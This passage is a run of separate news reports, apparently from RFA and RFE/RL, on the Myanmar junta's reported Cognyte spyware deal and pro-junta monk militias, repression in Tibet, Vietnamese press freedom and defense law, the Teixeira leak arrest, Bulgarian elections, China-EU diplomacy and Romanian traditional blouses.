The institute said that the new economic channels will enable China to solidify its long-awaited access to the Indian Ocean and spread its geopolitical influence across Myanmar.

Yangons Chinatown was crowded during the Lunar New Year Festival on Saturday, Jan. 21, 2023. Credit: RFA

China is Myanmars largest trading partner since the coup, with Chinese trade accounting for more than U.S.$4.4 billion out of Myanmars total U.S.$17 billion between April and September.

Hla Kyaw Zaw, a China-based analyst of China-Myanmar relations, views China's policy as a multifaceted approach.

China is gradually cooling down the hot areas of Burma. But what they can't persuade is the military, he said. China's diplomacy is usually done quietly. It doesnt hurt other parties by not doing things like objecting or condemning. Its approach is multifaceted, and it will deal with the junta, NUG, and ethnic armed groups along the border as well.

RFA contacted the NUG Foreign Minister and Presidents offices for comment on the NUGs relationship with China but did not hear back.

Translated by Kyaw Min Htun. Edited by Nawar Nemeh and Malcolm Foster.
The headquarters of the Israeli company Cognyte in Herzliya near Tel Aviv, Israel, January 13, 2023.

Human rights groups are criticizing a reported deal between Myanmars military and an Israeli tech firm for intercept spyware, accusing the company of aiding and abetting the junta in crimes against humanity.

Israels Cognyte Software won a tender to sell the intercept spyware to Myanmar shortly before the February 2021 coup, when the military ousted the democratically elected government, documents obtained by activist group Justice for Myanmar showed.

Intercept spyware allows governments to listen to telephone calls, read text messages and emails, and determine the whereabouts of internet users without having to go through internet and telecommunications companies.

These documents, which detailed the Myanmar militarys plan to install lawful interception tools on telecommunications networks, were the basis of a legal complaint in Israel, and a letter associated with the documents called for the country to ban Cognytes marketing and export license.

The term lawful interception creates a false impression of normalcy that obscures the fact that Israelis are once again aiding and abetting crimes against humanity, Israeli human rights leader Eitay Mack, who led the effort to file the complaint.

Such a deal would violate a 2017 ban imposed by Israel's Supreme Court on defense transfers to Myanmar, the campaign for which was also headed by Mack.

Used to violate human rights

Rights groups, observers, and the shadow National Unity Government say that the junta has been using the technology to violate its citizens human rights.

We can say that Israel is one of the top countries in surveillance tech. Thats why the technical support that the Myanmar military received from [Cognyte] must be really sophisticated and effective, Kyaw Saw Han, a security analyst, told Radio Free Asias Burmese Service.

He said the intercept spyware will have a negative impact on civilians by further depriving them of their freedom to communicate. The junta has already imposed draconian restrictions on the internet in some parts of the country, and has blocked access to Facebook.

With the spyware, the military could listen in on peoples private conversations or even record them, Kyaw Saw Han said.

It will especially hurt the resistance forces that are operating in this political situation, he said, referring to armed groups opposed to the junta, many of which sprung up after the coup.

Rebel groups believe they have been compromised by the intercept technology, although they dont have proof, Khun Daniel of the Karenni National Progressive Party told RFA.

Their ground activities, food transportation and guerrilla operations have been hindered and many members have been arrested because of the information insecurity caused by the militarys use of such equipment, he said.

But the technology empowers the junta not only against armed enemies. It can also use the tech against civilians, said Yadanar Maung, a Justice for Myanmar spokesperson.

Call for Israeli government to take action

He said the military can eavesdrop and intercept the phone calls of political activists, journalists and civilians that can lead to arrests, torture and even killings.

That is why Justice for Myanmar has requested that the Israeli government take action against those responsible for the reported deal between Cognyte and the military.

If a company provides equipment to assist an organization in aggressively and cruelly torture and kill innocent civilians, or if such support is found, they are also partially complicit in these crimes, according to legal and literal point of view, Sai Kyi Zin Soe, a political analyst, told RFA.

But Thein Tun Oo, the executive director of the Thayninga Institute for Strategic Studies, which is made up of former military officers, told RFA that the technology is very effective in helping them with counter-terrorism threats  addressing security threats to the military and government leaders.

It is no longer uncommon to violate and eavesdrop on the personal information of individuals. There have been many cases when we can prevent certain security-related threats just by such interception, he said. If this system can actually run at full power, it would be very beneficial.

Thein Tun Oo said that although human rights groups are urging countries to impose an arms embargo against Myanmar, it will not be effective because large international arms companies tend to prioritize their economic interests.

RFA attempted to contact Cognyte and a spokesperson for the junta for comment on Friday, but received no reply as of Monday.

13 countries fingered, including US

According to a Jan. 16 report by the Special Advisory Council for Myanmar, a group of independent experts working to support human rights efforts in the country, the Myanmar military is using weapons technologies and raw materials for producing weapons from companies in 13 countries including the United States, France, Australia, Japan, Germany, India, Singapore, China and Ukraine.

Kyaw Zaw, the spokesman for the presidents office of the shadow National Unity Government, told RFA that the world must stop providing the junta with military tools.

The NUG government wants to request that governments, including Israel, order an injunction to prevent any equipment, whether it's non-weapons technology, or communication technology or any technology that supports violence, from being sold to the Myanmar military, because it is committing inhumane violence in Myanmar.

He said that the United Nations and the international community need to sanction companies that cooperate with the Myanmar military junta.

Although the UN Security Council passed a resolution on the crisis in Myanmar on Dec. 21, the decision does not yet include a ban on arms sales to the Myanmar military. Russia and Chinakey suppliers of weaponry to the juntawould have veto power over such a proposal.

Yanghee Lee, a member of the Special Advisory Council for Myanmar, said Foreign companies are enabling Myanmars military to produce weapons it uses to commit daily rights atrocities against the Myanmar people.

In order to protect the people of Myanmar, the council in its report urged UN member countries to block the support that the Myanmar military receives, including taking targeted action against arms dealers and those responsible for supplying weapons factories.

Translated by Myo Min Aung. Edited by Eugene Whong and Malcolm Foster.
In this undated photo, Warthawa, a pro-military nationalist monk in Myanmar, is seen with pro-junta Pyu Saw Htee militia members.

An ultranationalist Buddhist monk is leading the charge against Myanmars armed rebellion in Sagaing region for the military regime, establishing a network of pro-junta militias using a combination of violent coercion and fear-mongering.

While you wont find him on any list of sanctions targeting the junta and its cronies for their repression of the countrys opposition, Warthawa is well known in Sagaing, where the military has faced some of the strongest resistance to its rule since its February 2021 coup.

The stern-looking 40-year-old monk with broad shoulders and wide-set eyes made a name for himself in Sagaings Kanbalu township, where he previously served as the abbot of a temple in the Muslim-majority village of Hmaw Taw  a tract where only 10% of the 500 households observe Myanmars national religion of Buddhism.

He later became a former leader, or sayadaw, of the countrys now-defunct Ma Ba Tha network of extremists, who residents of the region told Radio Free Asia stoked fears of an assault on Buddhism to gain followers.

These monks made people delusional through the use of religion, but they are evil monks, said a resident of neighboring Taze township, who spoke on condition of anonymity, citing fear of reprisal.

Despite a ban of the Ma Ba Tha under Myanmars former National League for Democracy government, sources in Sagaing say that since August 2021, Warthawa has used the support of the military regime to push his nationalist agenda. Hes also helped form Pyu Saw Htee militias that assist the junta in its offensive against the regions Peoples Defense Force paramilitary groups and armed ethnic groups.

After the military coup, [Warthawa] supported the military and the USDP, the Taze resident said, referring to the pro-military Union Solidarity and Development Party.

He said that the monk and his followers have made the Pyu Saw Htee much stronger, prompting a recent rash of revenge killings of civilians with suspected links to the PDF in response to attacks on the military.

A PDF member in Kanbalu who also declined to be named told RFA that Warthawa uses religion as his weapon to turn the largely uneducated population of rural Sagaing against the armed resistance.

He deludes the people, telling them that our country will become part of [neighboring] India [if they do not fight], he said.

He first built the Pyu Saw Htee forces. Then, when they became strong, even the NLD supporters dared not oppose them, he said. Some of them fled from their villages. Those who remain are recruited by force. One person must join their forces from each household and then these groups serve as the village defense.

Expanding militia network

Sources say Warthawa has seen significant recruiting success in Kanbalu and Taze, as well as the township of Kyunhla  three areas where there is already strong support amongst villagers for the military and its political party, the USDP.

But reports indicate he is also working to expand the network throughout Sagaing, where at least 77 pro-junta militia groups are currently operating, according to a confidential report by the Northwest Military Command, leaked to social media in March 2022.

That same month, a video went viral on social media, purportedly showing members of the Ma Ba Tha on a tour of several pro-junta villages in Sagaing in support of forming Pyu Saw Htee units. The video appeared to show the monks helping to train people and delivering Buddhist sermons.

In one clip, Warthawa and two other Ma Ba Tha sayadaws Wira Raza and Pandita appear to be holding guns in their hands and telling residents that the PDF fighters were killing people and setting fire to villages.

Sources told RFA at the time that the footage was filmed on Feb. 27 at the Yadanar Kan Myint Htei Monastery during a Pyu Saw Htee training camp graduation ceremony in Taze townships Kabe village. They confirmed that pro-junta monks had been carrying guns and taking part in some of the fighting in the region.

In this undated photo, the monk Warthawa attends a ceremony marking the delivery of military uniforms and equipment from the junta to a pro-junta Pyu Saw Htee militia. Credit: Citizen journalist

They call us bald-heads

A more recent video, filmed at a monastery in western Kanbalus Kyun Lel village and viewed by RFA, showed members of a Pyu Saw Htee group telling residents that they must take up arms as part of an effort to build peace and defend the area from PDF fighters who are insulting and destroying our country, our people, and our religion.

They kill their own people just because they hold different views. They call monks venerable when they need us, but when they dont like us, they call us bald-heads, says one monk-turned-militia member. The PDF is a group of inhumane people with an animal mindset.

Therefore, you, my comrades, are taking up arms to defend your village, your region and your country. Isnt that so?

Local media outlet Myanmar Now reported that in October, Warthawa led a group of monks and gunmen to Kanbalus Ngar Toet village, where they ordered residents of the tracts 250 households into the local monastery before one of the armed men fired his weapon into air and warned them they would be shot if they tried to leave.

Warthawa oversaw the selection of 150 men to attend a two-week training to prepare them for joining the Pyu Saw Htee, held at the same monastery. Nearly all who were chosen went to the training by force, the report said, quoting one resident whose name was among those called.

The resident fled the village with his family and went into hiding, but Myanmar Now said junta troops killed one person who attempted to run away  a former campaign organizer for the ousted NLD  and recaptured another, whose condition is currently unknown.

Warthawa has also used the military to build up his Pyu Saw Htee network by offering incentives to potential recruits. Myanmar Now said the junta provided Warthawa with nearly U.S.$2,000 in cash earmarked for disaster relief, local development, and monasteries to buy food for Pyu Saw Htee members in Kanbalu and Taze in October. Villagers familiar with the militias in the townships said members are provided with free uniforms and paid U.S.$80 monthly, while leaders receive a salary of U.S.$100.

Other residents told RFA that there are currently around 400 members of the Pyu Saw Htee in Taze, all of whom have been equipped with weapons issued to them by the juntas Northwest Military Command based in Monywa, Sagaings largest city.

No major sins

While Warthawa initially established the Pyu Saw Htee groups in western Kanbalu with the vow that they would only be used for village protection, sources told RFA that he had since ordered them to join military columns throughout the township.

In the nearly two years since the coup, Pyu Saw Htee groups fighting alongside the military in Taze have arrested or killed at least 77 civilians, burned down 83 villages, and forced more than 16,000 people to flee their homes, the residents said.

In November and December alone, the Pyu Saw Htee groups under Warthawas command killed 30 civilians and torched more than 1,100 houses in 21 villages in the three townships, they said.

In an interview with Myanmar in June, Warthawa defended his attacks on villages he claims to be aligned with the armed resistance movement, claiming that he was acting in the spirit of angry benevolence.

When asked about his role in the conflict, a former Ma Ba Tha monk named Pauk Ko Taw told RFA that Warthawas actions are righteous and that he doesnt support killing people.

He is just working as a monk for building peace in Sagaings Kanbalu township, thats why he organized [the groups] for peace making, he said. We Buddhist monks need to organize people to stay peaceful and united and preach harmony to our ethnic groups. Warthawa has not committed any major sins  in Buddhism.

Training killers

But a Sagaing-based monk characterized Warthawas actions as far from acceptable for a member of the clergy.

Junta leader Senior Gen. Min Aung Hlaing abuses his power, torturing and killing the people and burning their villages through military might, said the monk, who requested anonymity.

Since Warthawa is training such killers in the Pyu Saw Htee, what he is doing is not in accordance with the codes of Buddhist monks in any way.

A monk in Mandalay agreed that Warthawa is abusing his role as a monk to further his own agenda. We Buddhist monks are prohibited from even using harsh words against others or cursing, let alone killing or taking up arms, the monk said.

Monks are the object of veneration and worship for the people and we have to preserve morality as the model for the people. Taking up arms like he has is completely wrong and such monks can no longer be considered followers of Buddhism.

The monk told RFA that it is the responsibility of the State Sangha Maha Nayaka Committee, which oversees the nations Buddhist clergy, to discipline such wrongdoings, but said that in this case, they are turning a blind eye.

Multiple attempts by RFA to contact Warthawa for this report went unanswered, as did inquiries made to the Yangon-based State Sangha Maha Nayaka Committee.

Translated by Myo Min Aung. Edited by Joshua Lipes and Malcolm Foster.
A 99-foot-tall Buddha statue dominates the landscape in Drago county of Kardze Tibetan Autonomous Prefecture in southwestern China's Sichuan province, in an undated photo.

A new report by a rights group details fresh evidence of destruction of religious heritage sites and the mistreatment of Tibetans by China in eastern Tibet since October 2021 in what locals say is a second Cultural Revolution.

Among the religious sites and objects destroyed in Drago county were three colossal Buddha statues, a Buddhist school, a building housing with 45 giant prayer wheels, the home of a revered spiritual leader and Drago Monasterys prayer flags, which were removed and burned, the report by London-based Free Tibet says.

The report details previously unreported detentions and torture of locals as well as the destruction of Tibetan heritage sites in Drago. The county is called Luhuo in Chinese and lies in the Kardze Tibetan Autonomous Prefecture in Sichuan Province.

The report by Free Tibet and its affiliated research arm Tibet Watch shows that Chinese authorities have ramped up measures to repress Tibetans by razing significant religious structures while committing serious human rights violations in Drago county in the historical Tibetan province of Kham.

What were seeing in the report is a huge assault on every facet of Tibetan life, from their religion to their day-to-day lives, and we know that this has been replicated all across occupied Tibet, said John Jones, campaigns and advocacy manager at Free Tibet.

Since 2008, Drago county residents have participated in acts of resistance against the Chinese government, prompting interventions by authorities, including significant crackdowns in 2009 and 2012. Beijing views any sign of Tibetan disobedience as an act of separatism, threatening Chinas national security.

The 42-page report titled Desecration in Drago County: Destruction of Tibetan Religious Heritage, Arbitrary Detentions and Torture covers events that occurred in Drago between October 2021 and June 2022.

Torture and interrogations

Authorities subjected 10 local Tibetans detained during the period covered in the report to interrogations and beatings for minor infractions, such as expressing distress over the demolitions, with some falling unconscious due to the severity of the torture, the report says. They drenched one female detainee with cold water during the winter.

The report also documents a new extrajudicial facility used for political re-education, and information about a military base and prison. Detainees arrested since late October 2021 were taken to the re-education center in the northeastern suburbs and subjected to interrogations and beatings, says the report.

Satellite imagery shows the presence of an abandoned building that has been repurposed as a military base on the northwestern outskirts of Drago, so that the country is now surrounded by three security facilities, the report says.

As with other areas in Tibet, the main reason for increasing Chinese repression in Kham [County] Drago is first to eradicate Tibetan identity and Tibetan culture, the report quotes a county monk now living in exile as saying in January 2021.

Secondly, to eliminate those influential Tibetans who are conscious of freedom and rights of Tibetan people and thirdly, to abolish Tibetan language and education centers, he says.

The demolition escalated under Drago county chief Wang Dongsheng, who had earlier overseen a campaign of the expulsion of Buddhist clergy and destruction at Sichuans sprawling Larung Gar Buddhist Academy.

Similar to disastrous Cultural Revolution

Local Tibetans have likened the destruction of holy sites and the violence used against monks and laypeople to Chinas Cultural Revolution (1966-1976), a local source told Free Tibet. That decade-long campaign ordered by Mao Zedong created social and political chaos across China, leaving as many as 2 million people dead. During that time, authorities attacked Tibetan religion, culture identity and traditional ways of life, while continuing the destruction of Buddhist sites which began years earlier.

Free Tibet based its findings on interviews with former Drago county residents, analyses of open-source information such as notifications and local news reports, and satellite imagery to track some of the damage caused by the demolitions, Jones said.

The report is the sum total of over a years worth of detective work, trying to unearth details of the demolition of cultural and religious heritage in Drago County, but also harassment and surveillance of the locals, including the detention and torture of at least 10 people, he said.

Most ethnic Tibetans in China live in the Tibetan Autonomous Region and Tibetan autonomous prefectures and counties in Sichuan, Qinghai, Yunnan, and Gansu provinces.

We're hoping that this report will inspire people to take further action, to call for justice and reparations, not just for the community, but to start to widen the conversation about the effects of the occupation on Tibetan communities, Jones said.

Edited by Malcolm Foster.
Le Anh Hung told his mother he is nearing the end of his 5-year sentence.

Vietnamese blogger Le Anh Hung, serving a five-year sentence for allegedly abusing democratic freedoms, may soon be released from prison, his mother told RFA.

When Tran Thi Niem visited her son in mid-December he told her he expected to be freed in July.

Niem said her son has been moved from a Hanoi police detention center to a prison in Ha Nam province, south of the capital, to serve out his term and was in good spirits.

Le Anh Hung is still healthy, but thin, she said. He is mentally refreshed.

Authorities at Nam Ha Prison would not let Niem send a gift worth U.S.$40, telling her to transfer money to them which Hung could use to buy food. Prison canteens in Vietnam charge vastly inflated prices.

The Voice of America blogger and author of many articles on Vietnamese politics was arrested in July 2018.

After more than four years in detention and forced treatment in a mental hospital he was brought to trial on Aug. 30, 2022. Hung was denied a lawyer and relatives were not allowed to attend.

It is not clear if more than three years in a mental hospital will count towards time served, even though Vietnams Criminal Code stipulates: "The time for compulsory medical treatment shall be deducted from the term of serving the prison sentence."

An article in the Vietnam Lawyers online magazine last year said there are different interpretations of how much time spent undergoing compulsory medical treatment can be deducted from the remaining sentence.

Lawyers who spoke to RFA disagreed about whether the law would work in Hungs favor.

"If the investigation was not temporarily suspended, and the accused is still the defendant, the treatment time will be counted as the time of judgment execution," lawyer Ha Huy Son of the Hanoi Bar Association said.

Nguyen Van Miem of the Ho Chi Minh City Bar Association said in Le Anh Hung's case, the time spent in a mental hospital is unlikely to be included in time served. However, he said the court could consider mitigating factors to reduce the sentence.

Le Anh Hung is a member of the Independent Journalists Association of Vietnam, an organization that has been persecuted in recent years. Chairman Pham Chi Dung, Vice Chairman Nguyen Tuong Thuy and Editor Le Huu Minh Tuan have been sentenced to between 11 and 15 years in prison for "conducting anti-state propaganda."

After Hungs conviction, the Committee to Protect Journalists issued a statement calling on the Vietnamese government to immediately and unconditionally release him and stop harassing journalists on spurious anti-state charges.

He is among 21 journalists being detained for journalistic activities in Vietnam, according to a recent CPJ report.

Translated by RFA Vietnamese. Edited by Mike Firn.
The countrys defense spending is forecast to reach US$8.5B by 2027.

People look at weapons kept on display at the Vietnam International Defense Expo 2022, in Hanoi, Dec. 8, 2022.

Vietnam is considering a law on defense and security industries that may pave the way for foreign companies to tap into the countrys burgeoning sector.

Up to now, only military-owned domestic companies are allowed to invest in the multi-billion-dollar industry that has witnessed rapid growth in recent years.

The Ministry of National Defense has instructed relevant organizations to finalize the proposal for a bill on Defense and Security Industries and Industrial Mobilization, state media quoted Senior Lt. Gen. Nguyen Tan Cuong, chief of the general staff and vice minister, as saying recently.

The bill will be passed on to the government to include in the agenda of the Vietnamese National Assembly, or parliament, for further discussion and approval, Gen. Cuong said in an interview at the weekend.

Officials and analysts have said that such a law, which offers a clearer legal framework and requirements, is urgently needed to boost the domestic defense sector.

Maj. Gen. Luong Thanh Chuong, vice chairman of the General Department of Defense Industry, told the Quan Doi Nhan Dan (Peoples Army) newspaper, that as Vietnam pursues a strategy to promote the dual use of defense technologies and equipment for both military and civilian purposes, businesses and private organizations are encouraged to invest in the defense industry.

The newspaper, which serves as the mouthpiece for the defense ministry, quoted unnamed Vietnamese arms manufacturers as saying that all economic entities, including foreign-invested companies where foreign investors do not hold the controlling stake, should be allowed to take part in the industry.

Vietnamese military officials and a delegate speak next to a model of a military radar during the Vietnam 2022 International Defense Expo in Hanoi on Dec. 8, 2022. Credit: Nhac Nguyen/AFP





According to the Stockholm International Peace Research Institute, which tracks global military transfers, Vietnams military spending increased nearly 700% to U.S.$5.5 billion between 2003 and 2018.

GlobalData, a London-based analytics and consulting company, reported that Vietnams defense expenditure is estimated at U.S.$5.8 billion in 2022 and projected to grow at an annual rate of 8.5% to U.S.$8.5 billion by 2027, mainly due to the countrys plan to increase its defense capabilities to counter Chinese aggression in the South China Sea.

Vietnamese defense officials are unavailable for media requests and mostly communicate via pre-vetted interviews in the ministrys publications.

Earliest approval

The Vietnamese defense ministry held the first international defense trade fair in December in order to give the arms sector a boost and at the same time diversify its weapons procurement.

Hanoi buys weapons and military equipment from 26 countries but Russia, its historical and traditional ally and also one of Vietnams four comprehensive strategic partners, remains by far the largest provider.

Domestic companies now make a number of products including infantry rifles and ammunition, logistics equipment, radars, drones and equipment for cyber defense operations.

A part of Z111, a Vietnamese leading arms factory, was developed with the technology from an Israeli firearms manufacturer, a model more companies could follow.

With a greater investment and technology transfer, the Vietnamese defense industry could speed up the modernization process and become independent, as well as self-reliant, said Maj. Gen. Doan Hong Minh, former chief adviser to the minister of defense on high tech weapons development.

In order to modernize the industry it is essential to modernize the legal environment, Minh told the Defense TV Channel, adding that he hoped the law on defense and security industries would be given the green light by the current parliament.

The 15th National Assembly of Vietnam (2021-2026) is expected to discuss a draft bill at its 6th session later this year and, if satisfactory, sign it into law at the 7th session in May, 2024.
U.S. authorities have arrested a 21-year-old Air National Guardsman in connection with the investigation into the leaking of top-secret defense and intelligence documents that have been circulated online, Attorney General Merrick Garland said on April 13.

Garland identified the guardsman as Jack Teixeira, who will be charged with the unauthorized removal of classified national defense information in one of the biggest U.S. security breaches in years.



Heavily armed federal agents arrived at Teixeira's home in the U.S. state of Massachusetts during the afternoon of April 13 and took the man -- wearing a T-shirt and shorts -- into custody without incident," Garland said.



The identification of a 21-year-old Guardsman with a relatively low rank has quickly raised questions about how he could have had access to such highly classified documents.



The U.S. Air Force National Guard, without confirming his identity, said, We are aware of the investigation into the alleged role a Massachusetts Air National Guardsman may have played in the recent leak of highly classified documents.



U.S. President Joe Biden sought to allay concerns about the leak of the classified documents, which supposedly reveal details about the military capabilities of some U.S. allies and adversaries.



The Department of Justice opened a formal criminal probe into the matter after it was referred to the case by the Pentagon, which continues to assess the damage done by the release.



The Washington Post reported on April 12 that the person who allegedly posted the documents on a small chat group on the Discord social media platform was a gun enthusiast in his 20s who worked at a military base. The daily based its reporting on interviews with two unnamed members of the group. The documents were posted months ago without attracting attention until The New York Times reported on them.



Theres a full-blown investigation going on, as you know, with the intelligence community and the Justice Department, Biden told journalists in Dublin on April 13 before the arrest was announced. And theyre getting close.

Biden, who is in the middle of a four-day visit to Northern Ireland and the Republic of Ireland, said that he was not concerned about the leak because there is nothing contemporaneous that Im aware of.

The White House said earlier in the day that Biden did not discuss the matter with British Prime Minister Rishi Sunak when the two met in Northern Ireland earlier this week.



The number of documents leaked, some of which were reportedly marked top secret, is not clear.



They purportedly include sensitive disclosures about Ukraine, South Korea, Israel, and others. The Biden administration fears the leak could cause lasting damage to U.S. relations with key allies and strategic partners.



They purportedly include sensitive disclosures about Ukraine, South Korea, Israel, and others. The Biden administration fears the leak could cause lasting damage to U.S. relations with key allies and strategic partners.

The Discord group allegedly included people from Russia and Ukraine, The Washington Post reported, and was focused on a mutual love of guns, military gear and God. The social media platform itself is popular with players of online games.



The man who posted the documents, who went by the online handle OG, allegedly told group members he sometimes worked in a secure facility at the base that prohibited cell phones and other electronic devices.

Ukrainian Deputy Defense Minister Hanna Malyar said on Ukrainian television on April 12 that the risk of leaks is very minimal because only a very narrow circle of people is aware of Ukrainian military planning.

With reporting by AP, Reuters, The Wall Street Journal, and The Washington Post.
Bulgarian President Rumen Radev said on January 24 that the country would hold early elections on April 2 after inconclusive October vote failed to produce a government.

The April 2 parliamentary elections will be the fifth time within two years that Bulgaria elects a legislature.

Radev told journalists that he would dissolve parliament on February 3 and appoint a new caretaker government without offering details about its composition. A day earlier, he had that he would once again appoint Galab Donev as interim prime minister. He expressed hope lawmakers would use the time until then to adopt legislation needed to ensure European Union aid funds were tapped efficiently.

"I hope that the fight against corruption...and European integration are a real priority and not just preelection promises," he said.

Radev's announcement came hours after Bulgaria's Socialist Party (BSP) on January 24 said it had failed to form a government and had returned the unfulfilled mandate to the president.

It was the third and final opportunity for a government to be formed under the current legislature that resulted after the October 2 elections.

"We have done everything that was needed to fulfill the third mandate," BSP leader Kornelia Ninova said, adding that "there was not enough will to form a working government."

Before the Socialist attempt at forming a coalition, the two strongest groups in Bulgaria's parliament -- the center-right GERB party and the reformist We Continue the Change party, which finished first and second in the October elections -- had each tried and failed to find enough support to form their own governments.

Radev then chose the BSP to fulfill the mandate because he believed the party had the "best chance" to form a government and had preserved the "dialogue with all the political parties represented in the parliament."



Under Bulgaria's constitution, Radev must dissolve the parliament and schedule elections within 60 days of issuing the dissolution decree -- most likely in April.

The GERB party of Boyko Borisov, who spent three divisive tenures as prime minister between 2009 and 2021, has been the target of widespread corruption accusations, and most groups have dismissed talk of cooperation with Borisov.

Analysts say another election would most likely result again in a fragmented parliament that will struggle to find a compromise and form a working coalition government.

The continuing political crisis is expected to impede the European Union's poorest country's plans to join the euro zone at the end of this year, as well as the timely receipt of billions of euros in EU recovery funds.

With reporting by AFP and Reuters
In a shift that has been gathering steam since late last year, China is aiming to improve relations with the West and particularly its ties with Europe, which have been hurt by Beijing's support for Russia throughout its invasion of Ukraine.

But the Chinese charm offensive -- part of a diplomatic push that seeks to move away from the aggressive "wolf warrior" rhetoric of recent years and offer promises of enhanced economic cooperation to repair relations -- is being met skeptically in Brussels, according to European Union officials who spoke to RFE/RL.

This newfound push began late last year with German Chancellor Olaf Scholz traveling to Beijing and Chinese leader Xi Jinping offering a message of cooperation at the G20 summit in Bali, Indonesia. Since then, Chinese diplomats have stepped up their work, with increased outreach to investors and governments at forums like the annual gathering of political and business elites in Davos, Switzerland, and a potential visit to Brussels in February by Wang Yi, the former Chinese foreign minister who was recently promoted to oversee foreign affairs on the 24-person Politburo, the Communist Party's ruling body.

Chinese officials have also sought to signal distrust with Moscow and express veiled criticism over its invasion of Ukraine recently, with one senior official telling the Financial Times earlier this month that Russian President Vladimir Putin was "crazy."

The course correction will influence the future direction of one of the world's largest trade relationships, which could have far-reaching repercussions for Europe, Asia, and how closely Brussels aligns itself with Washington's increasingly tough China policy. With the stakes high, EU officials say they are closely watching the Chinese outreach but remain suspicious of any attempts to signal daylight between it and Russia.

"I don't see a revolutionary change," an EU official who asked to remain anonymous in order to speak to the media told RFE/RL, adding that China's outreach so far seemed to lack substance and may be more rhetorical.

"I think China needs to rehabilitate itself a bit first," said another EU official in reference to the Chinese initiatives in recent years that led to a downturn in relations with the bloc.

A Charm Offensive

Beijing faces an uphill battle in repairing its image in Brussels.

China and the EU have sparred over issues like Beijing's military posturing in Taiwan, economic espionage, and well-documented human rights abuses against Uyghurs and other mostly Muslim minorities in Xinjiang. But China's backing of Russia in its war against Ukraine has hardened a foreign-policy shift that was already under way within the 27-country bloc.

In February 2022, just weeks before the invasion, Xi and Putin declared a "no limits" partnership between their two countries. Amid the war, Beijing has sought to portray itself as neutral but still provided diplomatic support for Moscow. It has also aimed to boost trade with its partner while still observing Western sanctions against Russia.

EU officials say they don't view Beijing's outreach as a broader foreign-policy reset, but rather as part of a drive for "normalization" after years of heightened tensions and international isolation for China and its officials due to the pandemic.

"China's charm offensive may find less fertile ground in the EU than in the past," Francesca Ghiretti, an analyst at the Berlin-based think tank MERICS, told RFE/RL. "But after so many years of limited contact, there is a strong appetite to have exchanges and engage with China."

Beijing seems to have picked up on this fact. Wang's European tour -- which was first reported by Politico -- is hoping to capitalize on a desire to return to calm and entice European leaders with economic opportunities in a newly reopened China.

Similar rhetoric was seen from Chinese Vice Premier Liu He at the World Economic Forum in Davos on January 21, where he pitched a more conciliatory Beijing that not only "must open up wider" but also must make itself "work harder" to expand trade ties.

Beijing is also looking to quell unease by reaching out to Washington. U.S. Secretary of State Antony Blinken is expected to travel to China in early February, and Liu recently met with U.S. Treasury Secretary Janet Yellen in Switzerland, where she was also invited to visit China.

But perhaps China's strongest card to play is its complex relationship with Russia.

Throughout the war, Beijing has dangled its ability to use its warm ties with the Kremlin as a potential peacemaker and as an avenue to restrain Putin's implied threats to use nuclear weapons in Ukraine.

In an article for the Financial Times, multiple senior Chinese officials -- speaking anonymously -- sought to highlight that the benefits of the relationship with Russia are being reevaluated in Beijing and that China did not know in advance about Putin's invasion plans.

The same officials also added that they believe Russia will not succeed in achieving its war aims in Ukraine and will be left as a "minor power" on the global stage as a result of the grinding conflict.

Another sign of potential reassessment is the demotion of Le Yucheng. Until June, Le was a deputy foreign minister and the ministry's leading Russia hand who also surfaced in rumors as Wang's potential successor as foreign minister. However, he has since been reshuffled as deputy head of the National Radio and Television Administration.

Finding A New Normal

Andrew Small, a senior fellow at the German Marshall Fund in Berlin and the author of No Limits: The Inside Story Of China's War With The West, says that while Beijing is eager to reach out to repair its relationship with Europe, it so far hasn't offered up much in return.

"They see that they get credit for doing modest things that don't hurt their bilateral ties but still convince some in the West that there is room to maneuver with Moscow when there likely isn't," Small told RFE/RL in reference to statements made by Xi with Scholz during their November 2022 summit, where the Chinese leader condemned the use of nuclear weapons.

"Those comments about nuclear weapons have been standard Chinese policy for years," Small said. "There is no indication that China wants to do anything of substance that will put pressure on Russia."

Small adds that Beijing today finds itself in a much weaker position than even a year ago, with less confidence in its economic outlook, internal questions over its handling of COVID-19, and doubts over whether its relationship with Russia is the strategic prize China's leadership once thought it was.

Still, the EU has stated in the past that it has a multifaceted view of China, seeing it as a rival but also sometimes a partner, which leaves the door open to future engagement.

China is also hoping that its charm offensive will resonate among Europe's business community, which is still enthralled by economic opportunities in the Chinese market.

But Beijing's ultimate prize could be resuming a now-frozen investment treaty between China and the EU that was sidelined in 2021 due to Beijing blacklisting a group of European lawmakers, experts, and diplomats over the bloc's sanctioning of four Chinese officials for rights violations in Xinjiang.

Reviving the trade pact would require China lifting its sanctions, which would be a goodwill gesture that could lower the guard of European officials. But Beijing has so far been unwilling to do this unless the EU follows suit, an unlikely and lengthy process given that the bloc's sanctions can't be lifted without proof of improvement in the human rights situation in Xinjiang.

"China is in a more fragile position now than it planned, but there still isn't much to show that they're willing to make any concessions or do something of substance to change minds," Small said. "At the moment, it just looks like their pitch is a less obnoxious form of diplomacy."
Producers of Romania and Moldova's traditional blouse, the ia, hope its recent addition to UNESCO's list of intangible cultural heritage will boost calls to protect the industry from cheap copies flooding in from Asia. BUCHAREST -- "What does being Romanian actually look like?" This was the question faced by many Romanians who emigrated to start new lives amid the economic turmoil of the 1990s. Andreea Tanasescu, the founder of the massively popular online community La Blouse Roumaine, explained that throughout the '90s, the "Romanian diaspora didn't have a material example of Romanian culture. Everything was too abstract." Then the Romanian blouse, the "ia," whose meaning and importance had lain dormant for decades under communist rule, was rediscovered. "Suddenly, we realized that actually we had something very important that was passed down from generation to generation, from mother to daughter and so on," Tanasescu said.

Ia are loose cotton blouses distinctive for their embroidered sleeves. Most ia feature a block of decoration on the shoulder, followed by a contrasting horizontal stripe, then decorative "rivers" that run down to the wrist. The embroidered patterns each have a specific symbolic meaning, and different regions of Romania and Moldova have their own patterns. Colorful ia are traditionally worn by girls and unmarried young women to highlight their beauty, while wives wear subdued colors and patterns that emphasize dedication to the family. Since 2013, the blouse has been celebrated each June 24 by diasporas around the world marking the clothing item's own day. In December 2022, UNESCO added the Romanian and Moldovan "traditional blouse with embroidery on the shoulder" to its list of intangible cultural heritage.

But despite -- or perhaps because of -- the slow cultural awakening the blouse has sparked, some Romanian producers of the clothing are now fighting to stay afloat. Anda Manescu quit her office job in Bucharest eight years ago to found her own business, making ia in her hometown of Breaza. She said that on top of the global economic downturn, "now we have Chinese replicas coming into the country that are very cheap, and we don't have laws to protect [Romanian ia manufacturers]."

